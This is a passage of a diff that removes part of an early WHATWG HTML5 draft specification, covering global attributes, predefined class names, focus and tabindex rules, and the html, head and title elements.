-   <code><a href="#footer0">footer</a></code>, <code><a
-   href="#li0">li</a></code>, and <code><a href="#dd0">dd</a></code> elements
-   represent paragraphs with various specific semantics when they are <a
-   href="#determining2" title="Determining if a particular element contains
-   block-level elements or inline-level content">used as inline-level content
-   containers</a>, the <code><a href="#figure0">figure</a></code> element
-   represents a paragraph in the form of <a href="#embedded0">embedded
-   content</a>, and the <code><a href="#p0">p</a></code> element represents
-   all the other kinds of paragraphs, for which there are no dedicated
-   elements.
-
-  <h3 id=global><span class=secno>3.4. </span>Global attributes</h3>
-
-  <p>The following attributes are common to and may be specified on all <a
-   href="#html-elements">HTML elements</a> (even those not defined in this
-   specification):
-
-  <dl class=element>
-   <dt>Global attributes:
-
-   <dd><code title=attr-class><a href="#class6">class</a></code>
-
-   <dd><code title=attr-contenteditable><a
-    href="#contenteditable0">contenteditable</a></code>
-
-   <dd><code title=attr-contextmenu><a
-    href="#contextmenu">contextmenu</a></code>
-
-   <dd><code title=attr-dir><a href="#dir0">dir</a></code>
-
-   <dd><code title=attr-draggable><a href="#draggable0">draggable</a></code>
-
-   <dd><code title=attr-id><a href="#id0">id</a></code>
-
-   <dd><code title=attr-lang><a href="#lang0">lang</a></code>
-
-   <dd><code title=attr-tabindex><a href="#tabindex">tabindex</a></code>
-
-   <dd><code title=attr-title><a href="#title1">title</a></code>
-  </dl>
-
-  <p>In addition, the following <a href="#event1">event handler content
-   attributes</a> may be specified on any <span>HTML element</span>:
-
-  <ul class=brief>
-   <li><code title=handler-onclick><a href="#onclick">onclick</a></code>
-
-   <li>...more events...
-  </ul>
-
-  <h4 id=the-id><span class=secno>3.4.1. </span>The <dfn id=id0
-   title=attr-id><code>id</code></dfn> attribute</h4>
-
-  <p>The <code title=attr-id><a href="#id0">id</a></code> attribute
-   represents its element's unique identifier. The value must be unique in
-   the subtree within which the element finds itself and must contain at
-   least one character.
-
-  <p>If the value is not the empty string, user agents must associate the
-   element with the given value (exactly) for the purposes of ID matching
-   within the subtree the element finds itself (e.g. for selectors in CSS or
-   for the <code>getElementById()</code> method in the DOM).
-
-  <p>Identifiers are opaque strings. Particular meanings should not be
-   derived from the value of the <code title=attr-id><a
-   href="#id0">id</a></code> attribute.
-
-  <p>This specification doesn't preclude an element having multiple IDs, if
-   other mechanisms (e.g. DOM Core methods) can set an element's ID in a way
-   that doesn't conflict with the <code title=attr-id><a
-   href="#id0">id</a></code> attribute.
-
-  <p>The <dfn id=id1 title=dom-id><code>id</code></dfn> DOM attribute must <a
-   href="#reflect">reflect</a> the <code title=attr-id><a
-   href="#id0">id</a></code> content attribute.
-
-  <h4 id=the-title><span class=secno>3.4.2. </span>The <dfn id=title1
-   title=attr-title><code>title</code></dfn> attribute</h4>
-
-  <p>The <code title=attr-title><a href="#title1">title</a></code> attribute
-   represents advisory information for the element, such as would be
-   appropriate for a tooltip. On a link, this could be the title or a
-   description of the target resource; on an image, it could be the image
-   credit or a description of the image; on a paragraph, it could be a
-   footnote or commentary on the text; on a citation, it could be further
-   information about the source; and so forth. The value is text.
-
-  <p>If this attribute is omitted from an element, then it implies that the
-   <code title=attr-title><a href="#title1">title</a></code> attribute of the
-   nearest ancestor with a <code title=attr-title><a
-   href="#title1">title</a></code> attribute set is also relevant to this
-   element. Setting the attribute overrides this, explicitly stating that the
-   advisory information of any ancestors is not relevant to this element.
-   Setting the attribute to the empty string indicates that the element has
-   no advisory information.
-
-  <p>Some elements, such as <code><a href="#link0">link</a></code> and
-   <code><a href="#dfn0">dfn</a></code>, define additional semantics for the
-   <code title=attr-title><a href="#title1">title</a></code> attribute beyond
-   the semantics described above.
-
-  <p>The <dfn id=title2 title=dom-title><code>title</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the <code
-   title=attr-title><a href="#title1">title</a></code> content attribute.
-
-  <h4 id=the-lang><span class=secno>3.4.3. </span>The <dfn id=lang0
-   title=attr-lang><code>lang</code></dfn> (HTML only) and <dfn id=xmllang0
-   title=attr-xml-lang><code>xml:lang</code></dfn> (XML only) attributes</h4>
-
-  <p>The <code title=attr-lang><a href="#lang0">lang</a></code> attribute
-   specifies the primary language for the element's contents and for any of
-   the element's attributes that contain text. Its value must be a valid RFC
-   3066 language code, or the empty string. <a
-   href="#refsRFC3066">[RFC3066]</a>
-
-  <p>The <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>
-   attribute is defined in XML. <a href="#refsXML">[XML]</a>
-
-  <p>If these attributes are omitted from an element, then it implies that
-   the language of this element is the same as the language of the parent
-   element. Setting the attribute to the empty string indicates that the
-   primary language is unknown.
-
-  <p>The <code title=attr-lang><a href="#lang0">lang</a></code> attribute may
-   only be used on elements of <a href="#html-">HTML documents</a>. Authors
-   must not use the <code title=attr-lang><a href="#lang0">lang</a></code>
-   attribute in <a href="#xml-documents">XML documents</a>.
-
-  <p>The <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>
-   attribute may only be used on elements of <a href="#xml-documents">XML
-   documents</a>. Authors must not use the <code title=attr-xml-lang><a
-   href="#xmllang0">xml:lang</a></code> attribute in <a href="#html-">HTML
-   documents</a>.</p>
-  <!-- technically this
-  is redundant with the XML spec -->
-
-  <p>To determine the language of a node, user agents must look at the
-   nearest ancestor element (including the element itself if the node is an
-   element) that has a <code title=attr-lang><a href="#lang0">lang</a></code>
-   or <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>
-   attribute set. That specifies the language of the node.
-
-  <p>If both the <code title=attr-xml-lang><a
-   href="#xmllang0">xml:lang</a></code> attribute and the <code
-   title=attr-lang><a href="#lang0">lang</a></code> attribute are set on an
-   element, user agents must use the <code title=attr-xml-lang><a
-   href="#xmllang0">xml:lang</a></code> attribute, and the <code
-   title=attr-lang><a href="#lang0">lang</a></code> attribute must be <a
-   href="#ignored" title=ignore>ignored</a> for the purposes of determining
-   the element's language.
-
-  <p>If no explicit language is given for the <a href="#root-element">root
-   element</a>, then language information from a higher-level protocol (such
-   as HTTP), if any, must be used as the final fallback language. In the
-   absence of any language information, the default value is unknown (the
-   empty string).
-
-  <p>User agents may use the element's language to determine proper
-   processing or rendering (e.g. in the selection of appropriate fonts or
-   pronounciations, or for dictionary selection). <!--User
-  agents must not use the element's language to determine text
-  directionality. (commented out because text directionality is a
-  rendering-level concern.)-->
-
-  <p>The <dfn id=lang1 title=dom-lang><code>lang</code></dfn> DOM attribute
-   must <a href="#reflect">reflect</a> the <code title=attr-lang><a
-   href="#lang0">lang</a></code> content attribute.
-
-  <h4 id=the-dir><span class=secno>3.4.4. </span>The <dfn id=dir0
-   title=attr-dir><code>dir</code></dfn> attribute</h4>
-
-  <p class=big-issue>redefine this in terms of a microsyntax
-
-  <p>The <code title=attr-dir><a href="#dir0">dir</a></code> attribute
-   specifies the element's text directionality. The attribute, if specified,
-   must have either the literal value <code>ltr</code> or the literal value
-   <code>rtl</code>.
-
-  <p>If the attribute has the literal value <code>ltr</code>, the element's
-   directionality is left-to-right. If the attribute has the literal value
-   <code>rtl</code>, the element's directionality is right-to-left. If the
-   attribute is omitted or has another value, then the directionality is
-   unchanged.
-
-  <p>The processing of this attribute depends on the presentation layer. For
-   example, CSS 2.1 defines a mapping from this attribute to the CSS
-   'direction' and 'unicode-bidi' properties, and defines rendering in terms
-   of those property.
-
-  <p>The <dfn id=dir1 title=dom-dir><code>dir</code></dfn> DOM attribute must
-   <a href="#reflect">reflect</a> the <code title=attr-dir><a
-   href="#dir0">dir</a></code> content attribute.
-
-  <h4 id=classes><span class=secno>3.4.5. </span>Classes</h4>
-
-  <p>Every <span>HTML element</span> may have a <dfn id=class6
-   title=attr-class><code>class</code></dfn> attribute specified.
-
-  <p>The attribute, if specified, must have a value that is an <a
-   href="#unordered">unordered set of space-separated tokens</a> representing
-   the various classes that the element belongs to.
-
-  <p>The classes that an HTML element has assigned to it consists of all the
-   classes returned when the value of the <code title=attr-class><a
-   href="#class6">class</a></code> attribute is <a href="#split" title="split
-   a string on spaces">split on spaces</a>.
-
-  <p class=note>Assinging classes to an element affects class matching in
-   selectors in CSS, the <code title=dom-document-getElementsByClassName><a
-   href="#getelementsbyclassname">getElementsByClassName()</a></code> method
-   in the DOM, and other such features.
-
-  <p>Authors may use any value in the <code title=attr-class><a
-   href="#class6">class</a></code> attribute, but are encouraged to use the
-   predefined values defined in this specification where appropriate.
-
-  <p>Classes that are not defined in this specification can be defined as <a
-   href="#extensions0" title=concept-class-extensions>extensions</a>, as
-   described below.
-
-  <p>Authors should bear in mind that using the <code title=attr-class><a
-   href="#class6">class</a></code> attribute does not convey any additional
-   meaning to the element unless the classes used have been defined by this
-   specification or registered in the Wiki. There is no semantic difference
-   between an element <em>with</em> a class attribute and one
-   <em>without</em>. Authors that use classes that are not so defined should
-   make sure, therefore, that their documents make as much sense once all
-   <code title=attr-class><a href="#class6">class</a></code> attributes have
-   been removed as they do with the attributes present. User agents should
-   not derive particular meanings from <code title=attr-class><a
-   href="#class6">class</a></code> attribute values that are neither defined
-   by this specification nor registered in the Wiki.
-
-  <p>The <dfn id=classname title=dom-className><code>className</code></dfn>
-   DOM attribute must <a href="#reflect">reflect</a> the <code
-   title=attr-class><a href="#class6">class</a></code> content attribute.
-
-  <h5 id=predefined><span class=secno>3.4.5.1. </span>Predefined class names</h5>
-
-  <p>The following table summarises the class names that are defined by this
-   specification. This table is non-normative; the actual definitions for the
-   class names are given in the next few sections.
-
-  <table>
-   <thead>
-    <tr>
-     <th>Class name
-
-     <th>Applicable elements
-
-     <th>Brief description
-
-   <tbody>
-    <tr>
-     <td><code title=class-copyright><a
-      href="#copyright0">copyright</a></code>
-
-     <td><code><a href="#p0">p</a></code>, <code><a
-      href="#span0">span</a></code>
-
-     <td>Indicates that the element contains the copyright for the document.
-
-    <tr>
-     <td><code title=class-error><a href="#error0">error</a></code>
-
-     <td><code><a href="#p0">p</a></code>, <code><a
-      href="#section0">section</a></code>, <code><a
-      href="#span0">span</a></code>, <code><a
-      href="#strong0">strong</a></code>
-
-     <td>Indicates that the element contains an error message, e.g. in an
-      error message to the user in an interactive application, or an error
-      notification in the report of a conformance checker.
-
-    <tr>
-     <td><code title=class-example><a href="#example1">example</a></code>
-
-     <td><code><a href="#aside0">aside</a></code>, <code><a
-      href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,
-      <code><a href="#section0">section</a></code>, <code><a
-      href="#span0">span</a></code>
-
-     <td>Indicates that the element contains some sample material or a worked
-      example illustrating the neighboring content.
-
-    <tr>
-     <td><code title=class-issue><a href="#issue0">issue</a></code>
-
-     <td><code><a href="#aside0">aside</a></code>, <code><a
-      href="#p0">p</a></code>, <code><a href="#span0">span</a></code>
-
-     <td>Indicates that the element contains a point in dispute or a problem
-      with the neighboring content that needs resolving. (Thus, this is
-      typically only found in works-in-progress or drafts, not in completed
-      documents.)
-
-    <tr>
-     <td><code title=class-note><a href="#note0">note</a></code>
-
-     <td><code><a href="#aside0">aside</a></code>, <code><a
-      href="#p0">p</a></code>, <code><a href="#span0">span</a></code>
-
-     <td>Indicates that the element contains an explanatory note or
-      clarification.
-
-    <tr>
-     <td><code title=class-search><a href="#search1">search</a></code>
-
-     <td><code><a href="#aside0">aside</a></code>, <code><a
-      href="#body1">body</a></code>, <code>form</code>, <code><a
-      href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,
-      <code><a href="#span0">span</a></code>
-
-     <td>Indicates that the element's primary purpose is to provide the user
-      with an interface to perform a search (e.g. of the site's pages or of a
-      database).
-
-    <tr>
-     <td><code title=class-warning><a href="#warning0">warning</a></code>
-
-     <td><code><a href="#article0">article</a></code>, <code><a
-      href="#aside0">aside</a></code>, <code><a
-      href="#body1">body</a></code>, <code><a
-      href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,
-      <code><a href="#section0">section</a></code>, <code><a
-      href="#span0">span</a></code>, <code><a
-      href="#strong0">strong</a></code>
-
-     <td>Indicates that the element contains a warning or admonition.
-  </table>
-
-  <h6 id=class><span class=secno>3.4.5.1.1. </span>Class name "<dfn
-   id=copyright0 title=class-copyright><code>copyright</code></dfn>"</h6>
-
-  <p>The <code title=class-copyright><a
-   href="#copyright0">copyright</a></code> class name indicates that the
-   element contains the copyright for the document.
-
-  <p>It must only be used on the following elements: <code><a
-   href="#p0">p</a></code>, <code><a href="#span0">span</a></code>
-
-  <h6 id=class0><span class=secno>3.4.5.1.2. </span>Class name "<dfn
-   id=error0 title=class-error><code>error</code></dfn>"</h6>
-
-  <p>The <code title=class-error><a href="#error0">error</a></code> class
-   name indicates that the element contains an error message, e.g. in an
-   error message to the user in an interactive application, or an error
-   notification in the report of a conformance checker.
-
-  <p>It must only be used on the following elements: <code><a
-   href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,
-   <code><a href="#span0">span</a></code>, <code><a
-   href="#strong0">strong</a></code>
-
-  <p>It cannot be used on the <code><a href="#body1">body</a></code> element;
-   if the whole document is an error message then the appropriate metadata
-   should be included at the network layer (e.g. with HTTP using the 4xx and
-   5xx status codes).
-
-  <h6 id=class1><span class=secno>3.4.5.1.3. </span>Class name "<dfn
-   id=example1 title=class-example><code>example</code></dfn>"</h6>
-
-  <p>The <code title=class-example><a href="#example1">example</a></code>
-   class name indicates that the element contains some sample material or a
-   worked example illustrating the neighboring content.
-
-  <p>It must only be used on the following elements: <code><a
-   href="#aside0">aside</a></code>, <code><a
-   href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,
-   <code><a href="#span0">span</a></code>
-
-  <h6 id=class2><span class=secno>3.4.5.1.4. </span>Class name "<dfn
-   id=issue0 title=class-issue><code>issue</code></dfn>"</h6>
-
-  <p>The <code title=class-issue><a href="#issue0">issue</a></code> class
-   name indicates that the element contains a point in dispute or a problem
-   with the neighboring content that needs resolving. (Thus, this is
-   typically only found in works-in-progress or drafts, not in completed
-   documents.)
-
-  <p>It must only be used on the following elements: <code><a
-   href="#aside0">aside</a></code>, <code><a href="#p0">p</a></code>,
-   <code><a href="#span0">span</a></code>
-
-  <h6 id=class3><span class=secno>3.4.5.1.5. </span>Class name "<dfn id=note0
-   title=class-note><code>note</code></dfn>"</h6>
-
-  <p>The <code title=class-note><a href="#note0">note</a></code> class name
-   indicates that the element contains an explanatory note or clarification.
-
-  <p>It must only be used on the following elements: <code><a
-   href="#aside0">aside</a></code>, <code><a href="#p0">p</a></code>,
-   <code><a href="#span0">span</a></code>
-
-  <h6 id=class4><span class=secno>3.4.5.1.6. </span>Class name "<dfn
-   id=search1 title=class-search><code>search</code></dfn>"</h6>
-
-  <p>The <code title=class-search><a href="#search1">search</a></code> class
-   name indicates that the element's primary purpose is to provide the user
-   with an interface to perform a search (e.g. of the site's pages or of a
-   database).
-
-  <p>It must only be used on the following elements: <code><a
-   href="#aside0">aside</a></code>, <code><a href="#body1">body</a></code>,
-   <code>form</code>, <code><a href="#p0">p</a></code>, <code><a
-   href="#section0">section</a></code>, <code><a
-   href="#span0">span</a></code></p>
-  <!--
-  <p>A <code>form</code> element inside a <code>nav</code> element
-  must be treated by user agents as if it had a <code>search</code> class.</p>
-(but this musn't affect the DOM, or CSS, etc)
--->
-
-  <h6 id=class5><span class=secno>3.4.5.1.7. </span>Class name "<dfn
-   id=warning0 title=class-warning><code>warning</code></dfn>"</h6>
-
-  <p>The <code title=class-warning><a href="#warning0">warning</a></code>
-   class name indicates that the element contains a warning or admonition.
-
-  <p>It must only be used on the following elements: <code><a
-   href="#article0">article</a></code>, <code><a
-   href="#aside0">aside</a></code>, <code><a href="#body1">body</a></code>,
-   <code><a href="#figure0">figure</a></code>, <code><a
-   href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,
-   <code><a href="#span0">span</a></code>, <code><a
-   href="#strong0">strong</a></code>
-
-  <h5 id=other><span class=secno>3.4.5.2. </span>Other classes</h5>
-
-  <p><dfn id=extensions title=concept-class-extensions>Extensions to the
-   predefined set of class keywords</dfn> may be registered in the <a
-   href="http://wiki.whatwg.org/wiki/ClassExtensions">WHATWG Wiki
-   ClassExtensions page</a>.
-
-  <p>Anyone is free to edit the WHATWG Wiki ClassExtensions page at any time
-   to add a type. New classes must be specified with the following
-   information:
-
-  <dl>
-   <dt>Keyword
-
-   <dd>
-    <p>The actual class name being defined. The class name should not be
-     confusingly similar to any other defined class name (e.g. differing only
-     in case).
-
-   <dt>Applicable elements
-
-   <dd>
-    <p>A list of HTML elements to which the class applies, or one of the
-     following values:</p>
-
-    <dl>
-     <dt>Metadata elements
-
-     <dd>Meaning any element described as being a <a href="#metadata"
-      title="metadata elements">metadata element</a>.
-
-     <dt>Sectioning elements
-
-     <dd>Meaning any element described as being a <a href="#sectioning"
-      title="sectioning elements">sectioning element</a>.
-
-     <dt>Block-level elements
-
-     <dd>Meaning any element described as being a <a href="#block-level1"
-      title="block-level elements">block-level element</a>, but only when
-      that element is actually <a href="#determining2" title="Determining if
-      a particular element contains block-level elements or inline-level
-      content">being used</a> as a block-level element, and not, say, as a
-      structured inline-level element.
-
-     <dt>Strictly inline-level elements
-
-     <dd>Meaning any element described as being <a href="#strictly">strictly
-      inline-level content</a>.
-
-     <dt>Structured inline-level elements
-
-     <dd>Meaning any element described as being a <a href="#structured"
-      title="structured inline-level elements">structured inline-level
-      element</a>.
-
-     <dt>Interactive
-
-     <dd>Meaning any element described as being an <a href="#interactive3"
-      title="interactive elements">interactive element</a>.
-
-     <dt>Embedded content elements
-
-     <dd>Meaning any element described as being <a href="#embedded0">embedded
-      content</a>.
-
-     <dt>All elements
-
-     <dd>Meaning any element.
-    </dl>
-
-    <p>A document must not use a class defined in the Wiki on an element
-     other than the elements that the Wiki says that class name is allowed
-     on.</p>
-
-   <dt>Brief description
-
-   <dd>
-    <p>A short description of what the keyword's meaning is.
-
-   <dt>Link to more details
-
-   <dd>
-    <p>A link to a more detailed description of the keyword's semantics and
-     requirements. It could be another page on the Wiki, or a link to an
-     external page.
-
-   <dt>Synonyms
-
-   <dd>
-    <p>A list of other keyword values that have exactly the same processing
-     requirements. Authors should not use the values defined to be synonyms,
-     they are only intended to allow user agents to support legacy content.
-
-   <dt>Status
-
-   <dd>
-    <p>One of the following:</p>
-
-    <dl>
-     <dt>Proposal
-
-     <dd>The keyword has not received wide peer review and approval. Someone
-      has proposed it and is using it.
-
-     <dt>Accepted
-
-     <dd>The keyword has received wide peer review and approval. It has a
-      specification that unambiguously defines how to handle pages that use
-      the keyword, including when they use them in incorrect ways. Pages
-      should use the keyword to mark up the semantic that it describes.
-
-     <dt>Unendorsed
-
-     <dd>The keyword has received wide peer review and it has been found
-      wanting. Existing pages are using this keyword, but new pages should
-      avoid it. The "brief description" and "link to more details" entries
-      will give details of what authors should use instead.
-    </dl>
-
-    <p>If a keyword is added with the "proposal" status and found to be
-     redundant with existing values, it should be removed and listed as a
-     synonym for the existing value.</p>
-  </dl>
-
-  <p>Conformance checkers must use the information given on the WHATWG Wiki
-   ClassExtensions page to establish if a value not explicitly defined in
-   this specification is defined, and if so, whether it is being used on the
-   right elements. When an author uses a new class name not defined by either
-   this specification or the Wiki page, conformance checkers may offer to add
-   the value to the Wiki, with the details described above, with the
-   "proposal" status.
-
-  <p>This specification does not define how new values will get approved. It
-   is expected that the Wiki will have a community that addresses this.
-
-  <h3 id=interaction><span class=secno>3.5. </span><dfn
-   id=interaction2>Interaction</dfn></h3>
-  <!--
-ELEMENT
-           attribute long <span title="dom-tabindex">tabindex</span>;
-  void <span title="dom-click">click</span>();
-  void <span title="dom-focus">focus</span>();
-  void <span title="dom-blur">blur</span>();
-
-DOCUMENT
-  readonly attribute <span>Element</span> <span title="dom-document-activeElement">activeElement</span>;
-  readonly attribute boolean <span title="dom-document-hasFocus">hasFocus</span>;
--->
-
-  <h4 id=activation><span class=secno>3.5.1. </span>Activation</h4>
-
-  <p>The <dfn id=click title=dom-click>click()</dfn> method must <a
-   href="#firing">fire a <code>click</code> event</a> at the element.
-
-  <h4 id=focus><span class=secno>3.5.2. </span>Focus</h4>
-
-  <p>When an element is <em>focused</em>, key events received by the document
-   must be targetted at that element. There is always an element focused; in
-   the absence of other elements being focused, the document's root element
-   is it.
-
-  <p>Which element within a document currently has focus is independent of
-   whether or not the document itself has the <em>system focus</em>.
-
-  <p>Some focusable elements might take part in <em>sequential focus
-   navigation</em>.
-
-  <h5 id=focus-management><span class=secno>3.5.2.1. </span>Focus management</h5>
-
-  <p>The <dfn id=focus0 title=dom-focus><code>focus()</code></dfn> and <dfn
-   id=blur title=dom-blur><code>blur()</code></dfn> methods must focus and
-   unfocus the element respectively, if the element is focusable.
-
-  <p class=big-issue>Well that clearly needs more.
-
-  <p>The <dfn id=activeelement
-   title=dom-document-activeElement><code>activeElement</code></dfn>
-   attribute must return the element in the document that has focus. If no
-   element specifically has focus, this must return the root element.
-
-  <p>The <dfn id=hasfocus
-   title=dom-document-hasFocus><code>hasFocus</code></dfn> attribute must
-   return true if the document, one of its nested <a href="#browsing"
-   title="browsing context">browsing contexts</a>, or any element in the
-   document or its browsing contexts currently has the system focus.
-
-  <h5 id=sequential><span class=secno>3.5.2.2. </span>Sequential focus
-   navigation</h5>
-
-  <p class=issue>This section on the <code>tabindex</code> attribute needs to
-   be checked for backwards-compatibility.
-
-  <p>The <dfn id=tabindex title=attr-tabindex><code>tabindex</code></dfn>
-   attribute specifies the relative order of elements for the purposes of
-   sequential focus navigation. The name "tab index" comes from the common
-   use of the "tab" key to navigate through the focusable elements. The term
-   "tabbing" refers to moving forward through the focusable elements.
-
-  <p>The <code title=attr-tabindex><a href="#tabindex">tabindex</a></code>
-   attribute, if specified, must have a value that is a <a
-   href="#valid0">valid integer</a>.
-
-  <p>If the attribute is specified, it must be parsed using the <a
-   href="#rules0">rules for parsing integers</a>. If parsing the value
-   returns an error, the attribute is ignored for the purposes of focus
-   management (as if it wasn't specified).
-
-  <p>A positive integer or zero specifies the index of the element in the
-   current scope's tab order. Elements with the same index are sorted in <a
-   href="#tree-order">tree order</a> for the purposes of tabbing.
-
-  <p id=negative-tabindex>A negative integer specifies that the element
-   should be removed from the tab order. If the element does normally take
-   focus, it may still be focused using other means (e.g. it could be focused
-   by a click).
-
-  <p>If the attribute is absent (or invalid), then the user agent must treat
-   the element as if it had the value 0 or the value -1, based on platform
-   conventions.
-
-  <p class=example>For example, a user agent might default
-   <code>textarea</code> elements to 0, and <code>button</code> elements to
-   -1, making text fields part of the tabbing cycle but buttons not.
-
-  <p>When an element that does not normally take focus (i.e. whose default
-   value would be -1) has the <code title=attr-tabindex><a
-   href="#tabindex">tabindex</a></code> attribute specified with a positive
-   value, then it should be added to the tab order and should be made
-   focusable. When focused, the element matches the CSS <code>:focus</code>
-   pseudo-class and key events are dispatched on that element in response to
-   keyboard input.
-
-  <p>The <dfn id=tabindex0 title=dom-tabIndex><code>tabIndex</code></dfn> DOM
-   attribute reflects the value of the <code title=attr-tabIndex><a
-   href="#tabindex">tabIndex</a></code> content attribute. If the attribute
-   is not present (or has an invalid value) then the DOM attribute must
-   return the UA's default value for that element, which will be either 0
-   (for elements in the tab order) or -1 (for elements not in the tab order).</p>
-  <!--XXX
-  <h5>The <dfn><code>DocumentFocus</code></dfn> interface</h5>
-
-  <p>The <code>DocumentFocus</code> interface contains methods for
-  moving focus around the document. It can be obtained from objects
-  that implement the <code>Document</code> interface using
-  binding-specific casting methods.</p>
-
-  <pre class="idl">interface <dfn>DocumentFocus</dfn> {
-  void moveFocusForward();
-  void moveFocusBackward();
-  void moveFocusUp();
-  void moveFocusRight();
-  void moveFocusDown();
-  void moveFocusLeft();
-};</pre>
-
-  <p>The <dfn><code>currentFocus</code></dfn> attribute returns the
-  element to which key events will be sent when the document receives
-  key events.</p>
-
-  <p>The <dfn><code>moveFocusForward</code></dfn> method uses the
-  <code>'nav-index'</code> property and the <code>tabindex</code>
-  attribute to find the next focusable element and focuses it.</p>
-
-  <p>The <dfn><code>moveFocusBackward</code></dfn> method uses the
-  <code>'nav-index'</code> property and the <code>tabindex</code>
-  attribute to find the previous focusable element and focuses
-  it.</p>
-
-  <p>The <dfn><code>moveFocusUp</code></dfn> method uses the
-  <code>'nav-up'</code> property and the <code>tabindex</code>
-  attribute to find an appropriate focusable element and focuses
-  it.</p>
-
-  <p>In a similar manner, the <dfn><code>moveFocusRight</code></dfn>,
-  <dfn><code>moveFocusDown</code></dfn>, and
-  <dfn><code>moveFocusLeft</code></dfn> methods use the
-  <code>'nav-right'</code>, <code>'nav-down'</code>, and
-  <code>'nav-left'</code> properties (respectively), and the
-  <code>tabindex</code> attribute, to find an appropriate focusable
-  element and focus it.</p>
-
-  <p>The <code>'nav-index'</code>, <code>'nav-up'</code>,
-  <code>'nav-right'</code>, <code>'nav-down'</code>, and
-  <code>'nav-left'</code> properties are defined in <a
-  href="#refsCSS3UI">[CSS3UI]</a>.</p>
-
-Other things to look at are IE's focus APIs (document.activeElement,
-document.hasFocus, HTMLElement.setActive(), onBeforeActivate,
-onActivate, onBeforeDeactivate, onDeactivate, document.hasFocus):
-   https://bugzilla.mozilla.org/show_bug.cgi?id=296471
-   https://bugzilla.mozilla.org/show_bug.cgi?id=296469
-   http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/activeelement.asp
-   http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/setactive.asp
-   http://msdn.microsoft.com/workshop/author/dhtml/reference/events/onbeforeactivate.asp
-   http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/focus.asp
--->
-
-  <h3 id=the-root><span class=secno>3.6. </span>The root element</h3>
-
-  <h4 id=the-html><span class=secno>3.6.1. </span>The <dfn
-   id=html0><code>html</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the root element of a document.
-
-   <dd>Wherever a subdocument fragment is allowed in a compound document.
-
-   <dt>Content model:
-
-   <dd>A <code><a href="#head0">head</a></code> element followed by a
-    <code><a href="#body1">body</a></code> element.</dd>
-   <!--XXX
-Steven Pemberton was as always, a remarkable speaker, but his answer
-to my question leaves me a very bad taste. Basically, I asked him why
-XHTML2 preserves the useless head and body element. The answer was in
-substance "because this is a compromise". Ah. So XHTML2 preserves two
-useless elements that add potential dangers to the interpretation and
-styling of documents because it's a compromise. Getting rid of head
-would allow to attach directly the document's metadata to the root
-element of the document, making much more sense than a head element.
-Having a head element also preserves the ridiculous
-engraved-in-the-marble "head contents are not rendered". Body is
-dangerous because it's another box between the document and the
-contents; you all have written a blog template with a <div
-class="main"> or <div class="content">. Why do we also need a body?
- - http://www.glazman.org/weblog/dotclear/index.php?2005/05/27/1055-adam-2
--->
-
-   <dt>Element-specific attributes:
-
-   <dd>None (but see prose).
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#html0">html</a></code> element represents the root
-   of an HTML document.
-
-  <p>Though it has absolutely no effect and no meaning, the <code><a
-   href="#html0">html</a></code> element, in <a href="#html-">HTML
-   documents</a>, may have an <code title="">xmlns</code> attribute
-   specified, if, and only if, it has the exact value
-   "<code>http://www.w3.org/1999/xhtml</code>". This does not apply to <a
-   href="#xml-documents">XML documents</a>.
-
-  <p class=note>In HTML, the <code title="">xmlns</code> attribute has
-   absolutely no effect. It is basically a talisman. It is allowed merely to
-   make migration to and from XHTML mildly easier. When parsed by an <a
-   href="#html-0">HTML parser</a>, the attribute ends up in the null
-   namespace, not the "<code>http://www.w3.org/2000/xmlns/</code>" namespace
-   like namespace declaration attributes in XML do.
-
-  <p class=note>In XML, an <code title="">xmlns</code> attribute is part of
-   the namespace declaration mechanism, and an element cannot actually have
-   an <code title="">xmlns</code> attribute in the null namespace specified.
-
-  <h3 id=document><span class=secno>3.7. </span>Document metadata</h3>
-
-  <p>Document metadata is represented by <dfn id=metadata>metadata
-   elements</dfn> in the document's <code><a href="#head0">head</a></code>
-   element.
-
-  <h4 id=the-head><span class=secno>3.7.1. </span>The <dfn
-   id=head0><code>head</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the first element in an <code><a href="#html0">html</a></code>
-    element.
-
-   <dt>Content model:
-
-   <dd>In any order, exactly one <code><a href="#title3">title</a></code>
-    element, optionally one <code><a href="#base0">base</a></code> element
-    (HTML only), and zero or more other <a href="#metadata">metadata
-    elements</a> (in particular, <code><a href="#link0">link</a></code>,
-    <code><a href="#meta1">meta</a></code>, <code><a
-    href="#style0">style</a></code>, and <code><a
-    href="#script2">script</a></code>).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#head0">head</a></code> element collects the
-   document's metadata.
-
-  <h4 id=the-title0><span class=secno>3.7.2. </span>The <dfn
-   id=title3><code>title</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element containing no
-    other <code><a href="#title3">title</a></code> elements.
-
-   <dt>Content model:
-
-   <dd>Text (for details, see prose).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#title3">title</a></code> element represents the
-   document's title or name. Authors should use titles that identify their
-   documents even when they are used out of context, for example in a user's
-   history or bookmarks, or in search results. The document's title is often
-   different from its first header, since the first header does not have to
